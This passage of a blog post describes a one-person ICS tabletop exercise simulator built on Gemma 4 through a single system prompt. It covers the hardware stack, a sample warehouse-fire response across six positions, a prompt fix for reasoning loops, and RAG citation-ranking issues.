Access is through the Google AI Studio API (gemma-4-26b-a4b-it), routed through LiteLLM into OpenWebUI. This matches how emergency management agencies and vendors would realistically operate -- API deployment against an open model gives a path to future on-premises deployment without code changes. That was a deliberate architecture decision, not a convenience choice.

The Hardware -- Deliberately Modest

This matters for the emergency management context, so I want to be specific.

The system runs on a Dell Precision t3610 workstation -- not a modern AI server, not a cloud instance. This is the class of hardware that sits in the back of an emergency operations center that hasn't had a budget refresh in five years.

Server specs:

Dell Precision t3610
Ubuntu Server 24.04 LTS
128GB ECC System RAM
16-core Xeon CPU
NVIDIA RTX 3060 (12GB VRAM)
500GB SSD

Software stack:

OpenWebUI 0.9.2 (workspace interface and RAG engine)
Ollama 0.22.1 (local embedding model serving)
LiteLLM 1.83.10 (API routing to Google AI Studio)
mxbai-embed-large 335M (local embedding model via Ollama)
TEI Reranker (RAG reranking layer)

Gemma 4 26B inference runs via Google AI Studio API -- the RTX 3060 at 12GB VRAM can't run the 26B MoE locally at full precision, and that's fine. The embedding model and reranker run locally on the Xeon and GPU respectively. The architecture cleanly separates what needs to run locally from what benefits from cloud inference.

For an agency that already has a workstation in the EOC and an internet connection, the incremental cost to run this system is an API key.

The Setup: One Model, Six Positions, Hard Doctrine Rules

The system runs entirely through a structured system prompt in an OpenWebUI workspace. No custom code, no agent framework, no separate model instances. One prompt, one model, six simultaneous ICS positions.

The positions are:

IC -- Incident Commander: Overall authority. Single point of contact for exercise injects. Sets objectives and issues directives.
SO -- Safety Officer: The only position with unilateral stop-work authority. Communicates safety hazards directly to any position without IC routing.
PIO -- Public Information Officer: Manages media and public communications. Nothing goes out without IC approval.
OSC -- Operations Section Chief: Manages tactical operations. Routes all cross-section coordination through the IC.
PSC -- Planning Section Chief: Manages the planning process and IAP development. Pre-authorized to gather information directly from other sections -- but cannot issue directives.
LSC -- Logistics Section Chief: Provides resources and support. Fulfills IC-approved requests; does not task Operations directly.

Every behavior, every communication pathway, every authority is grounded in NIMS doctrine and NQS Position Task Books. Nothing is invented. If it's not in the PTBs or NIMS 2017, it doesn't go in the prompt.

The Emergency Operations Manager interacts through a simple command structure. All regular input is treated as an exercise inject. Out-of-band facilitator commands use a // prefix:

// POSITION QUERY: PSC -- What are the required elements of an Incident Action Plan?
// DECISION POINT
// STATUS REPORT
// RESET

What a Real Response Looks Like

Here's an actual response from the system to a warehouse fire inject:

Input:

A structure fire has been reported at a mid-size commercial warehouse. 
Initial reports indicate heavy smoke, unknown occupancy status, and one 
confirmed injury to a bystander. Mutual aid has not yet been requested.

Output (condensed):

INJECT RECEIVED
A structure fire is occurring at a mid-size commercial warehouse involving 
heavy smoke, unknown occupancy, and one confirmed bystander injury.

[ IC -- INCIDENT COMMANDER ]
Incident Objectives:
1. Suppress the fire and prevent spread to adjacent structures.
2. Conduct primary search and rescue to determine occupancy status.
3. Provide medical treatment to the injured bystander.
4. Establish an incident perimeter and secure the scene.

Directives:
- OSC: Initiate fire attack and establish a search pattern for occupants.
- SO: Monitor structural integrity and smoke conditions.
- PIO: Monitor for media arrival and prepare a holding statement.
- PSC: Begin tracking all arriving resources and developing an initial 
  incident map.
- LSC: Stand by for resource requests.

[ SO -- SAFETY OFFICER ]
Hazards identified: Reduced visibility due to heavy smoke; potential for 
structural collapse; unknown hazardous materials; potential for secondary 
explosions. All incoming personnel must utilize full PPE and SCBA.
Reports assessment to IC.

[ PIO -- PUBLIC INFORMATION OFFICER ]
Draft Messaging (HOLD FOR IC APPROVAL): "Emergency crews are currently on 
the scene of a structure fire at a commercial warehouse. We are working to 
confirm the status of the building. Please avoid the area."

[ OSC -- OPERATIONS SECTION CHIEF ]
Tactical Status: Initial engine companies establishing water supply and 
beginning exterior fire attack. Resource Needs: Additional engine companies 
for suppression and a search/rescue team for interior operations.
Escalating resource gap to IC.

[ PSC -- PLANNING SECTION CHIEF ]
Developing initial IAP framework. Information Gaps: Exact warehouse floor 
plan; presence of hazardous materials on-site.

[ LSC -- LOGISTICS SECTION CHIEF ]
Monitoring local resource availability. Standing by for formal resource 
requests routed through IC.

[ EXERCISE SUMMARY -- FACILITATOR VIEW ]
Command is established with initial objectives focused on life safety, 
fire suppression, and scene stabilization. Decision Point: Does the IC 
authorize a formal mutual aid request?

That's doctrine-compliant ICS behavior across six simultaneous positions in a single response. The chain of command is clean. The SO reports hazards. The PIO holds for IC approval. The LSC doesn't task Operations directly.

The Token Loop Problem -- and the Fix

Here's something that isn't in the documentation: Gemma 4 with extended reasoning enabled will loop on complex multi-constraint injects.

When I pushed the system with a scenario involving three simultaneous doctrine conflicts -- an OSC requesting interior fire attack, a pending SO structural integrity assessment, and resources at capacity -- the model entered a reasoning loop in the thinking panel. It repeatedly processed the same constraint verification blocks without ever exiting to generate a response. The loop ran past 15,000 tokens before I terminated it.

The root cause is the interaction between the MoE architecture and the extended reasoning mode. When you stack extended reasoning on top of a prompt with multiple simultaneous hard constraints, the model can get caught verifying and re-verifying those constraints without resolving to output. The more constraints you have in play simultaneously, the higher the loop risk.

The fix is a trigger token instruction at the top of the system prompt:

## INFERENCE CONTROL

Do not use the <|think|> token. Set thinking budget to 0. 
Provide responses immediately without internal reasoning tags or thought blocks.

This suppresses the extended reasoning token behavior. What it does not suppress is the MoE routing itself -- that's architectural and operates at a different layer entirely. The model still reasons through constraint conflicts; it just doesn't do it in a visible loop that consumes all available tokens.

After applying this fix, behavior splits cleanly by inject complexity:

Simple injects: No thinking panel at all. Fast, clean responses.
Complex multi-constraint injects: Some visible thinking (46 seconds in one test), but linear reasoning that completes and exits rather than looping indefinitely.

That's actually the right behavior for this use case. You want the model thinking carefully through doctrine conflicts on hard scenarios. You just don't want it looping forever. The trigger token instruction gives you that split without sacrificing response quality.

One important nuance: the MoE architecture is doing meaningful work here even without extended reasoning. The 26B parameter routing is what maintains six simultaneous constraint sets cleanly across positions. Suppressing the <|think|> token removes the reasoning loop risk without touching the capability that makes the model right for this task.

If you're running Gemma 4 with reasoning enabled and hitting loops on complex prompts, try this instruction before you blame the model.

The RAG Setup and an Honest Assessment of What Happened

The knowledge base powering this system contains 148 documents converted to clean Markdown: NIMS 2017, NRF 4th Edition, HSEEP 2020, NQS Position Task Books for all six ICS positions, ICS forms, course manuals, and HSEEP templates.

The conversion step mattered more than expected.

Original documents were PDF, DOCX, and PPTX. OpenWebUI's default extractors produced garbled table text from ICS forms, fragmented bullet content from training slides, and merged columns from multi-column doctrine PDFs. The chunks being indexed were nearly unusable -- the model was retrieving sources but had no signal to work with. Early testing produced one-sentence responses to substantive position queries despite correct source retrieval.

After converting everything to clean Markdown using pymupdf4llm for PDFs, python-pptx for slide decks, and python-docx for Word documents, the same queries returned structured multi-point responses with correct form numbers and doctrine citations. The document conversion fixed the core retrieval problem before any model tuning was needed.

The retrieval ranking problem that didn't fully resolve.

Even with a TEI reranker in the stack, IS-200 course manuals consistently ranked above the authoritative Position Task Books for position-specific queries. The responses were doctrinally correct -- the model knows the content -- but citations pointed to training course materials rather than the PTBs that should be primary sources.

The reason is semantic: PTBs are written in formal NIMS task language ("incumbent will demonstrate proficiency in establishing incident objectives per ICS 202"). Course manuals use plain instructional language that maps more naturally to how a question gets phrased. The embedding model scores semantic similarity and the course manuals win on that metric even when the PTBs carry higher authority. The TEI reranker improved relevance across the board but couldn't overcome a gap that large in the embedding space.

The partial mitigation was a source hierarchy instruction in the system prompt:

## KNOWLEDGE BASE SOURCE AUTHORITY

Tier 1 -- Authoritative (primary):
NIMS 2017, NQS PTBs, ICS Position Checklists, NRF, HSEEP 2020

Tier 2 -- Supplementary:
IS-100, IS-200, IS-700 course manuals and instructor guides

Tier 3 -- Reference only (not doctrine):
HSEEP Templates, Exercise Evaluation Guides, Course slides

This influenced the model's citation reasoning but couldn't override the retrieval ranking -- the embedding layer runs before the model sees anything. Full resolution would require either a domain-specific embedding model trained on government technical documentation, or a custom reranking approach that weights document metadata as a retrieval signal.

For a prototype and training use case this is acceptable. The answers are right. In a production deployment where citation accuracy is a compliance requirement, this is the thing to solve next.

What It's Actually Good For

After testing across a range of scenarios, here's where the system genuinely earns its keep:

Rapid scenario iteration. An EOM can run a full six-position inject response in seconds, adjust the scenario, and run it again. What used to require scheduling six people now happens alone at a desk.

Doctrinal friction. The most valuable learning outcome of a tabletop exercise is when positions conflict -- when the SO's stop-work authority collides with the OSC's tactical urgency. The system portrays that friction accurately rather than smoothing it over. In one test, the SO explicitly prevented an interior fire attack citing unverified structural integrity, the OSC escalated the resource gap to the IC, and the IC had to manage both simultaneously. That's the kind of decision-point pressure that makes exercises useful.

Escalating complexity. Stacking injects -- a second structure igniting, casualties increasing, media arriving on scene -- the system tracked the evolving incident picture across positions without losing doctrine compliance. The PSC correctly identified a transition toward Type 3 incident complexity unprompted. That's not a trivial output.

Position-specific queries. The // POSITION QUERY command lets an EOM ask any position a direct doctrine question mid-exercise. These are useful for both exercise facilitation and individual position training.

What Comes Next

Phase 1 covers the six core ICS positions. The architecture supports expansion to Finance/Administration Section Chief and subordinate positions without structural changes -- it's a system prompt update, not a rebuild.

The RAG citation ranking is the most meaningful technical debt. A domain-specific embedding model trained on FEMA and NIMS documentation would likely close the gap between PTB language and query phrasing. That's the next experiment worth running.

The trigger token discovery is worth tracking across other Gemma 4 deployments. The loop behavior correlates with inject complexity -- single-issue injects run clean, multi-constraint injects with three or more simultaneous doctrine conflicts are where the risk lives. The fix is simple but it's not obvious if you haven't hit the problem.

The Bigger Picture

Emergency management agencies are chronically under-resourced for training. The gap between how often exercises should happen and how often they do happen is a real preparedness problem. A tool that lets one person run a realistic ICS tabletop alone -- on demand, at no coordination cost, on hardware that's already sitting in the EOC -- has direct operational value.

Gemma 4's MoE architecture is genuinely well-suited to this kind of concurrent multi-role reasoning workload. The 26B parameter count with 4B active per token gives you the efficiency needed for a task that requires maintaining six distinct constraint sets simultaneously. It's not just a capable model -- it's the right shape of model for the problem.

That intentional fit between model architecture and task structure is what makes this more than a demo. It's a real use case for a real capability gap, built on hardware a department could actually afford to run.

Glossary

ICS -- Incident Command System. Standardized emergency response management structure. NIMS -- National Incident Management System. Federal framework ICS operates within.
NRF -- National Response Framework. Federal doctrine for disaster response roles.
HSEEP -- Homeland Security Exercise and Evaluation Program. Federal methodology for designing and running emergency exercises.
TTX -- Tabletop Exercise. Discussion-based scenario exercise without physical resource deployment.
IAP -- Incident Action Plan. Documents incident objectives and assignments per operational period.
PTB -- Position Task Book. FEMA's official competency standard for each ICS position. MSEL -- Master Scenario Events List. Pre-scripted sequence of exercise events.
Inject -- A scenario event introduced mid-exercise to drive participant decisions.
EOM -- Emergency Operations Manager. The person running the exercise.
IC -- Incident Commander.
SO -- Safety Officer.
PIO -- Public Information Officer.
OSC -- Operations Section Chief.
PSC -- Planning Section Chief.
LSC -- Logistics Section Chief.

Built with Gemma 4 26B MoE via Google AI Studio API. Stack: LiteLLM 1.83.10, OpenWebUI 0.9.2, Ollama 0.22.1, mxbai-embed-large 335M, TEI Reranker. Hardware: Dell Precision t3610, Ubuntu Server 24.04 LTS, 16-core Xeon, 128GB ECC RAM, RTX 3060. Knowledge base: 148 converted documents from NIMS, ICS, and HSEEP doctrine. All ICS/NIMS/HSEEP terminology used per official doctrine.

What is your favorite LLM? If you have several based on use let me know!

Kerry Kier — Sun, 10 May 2026 17:55:14 +0000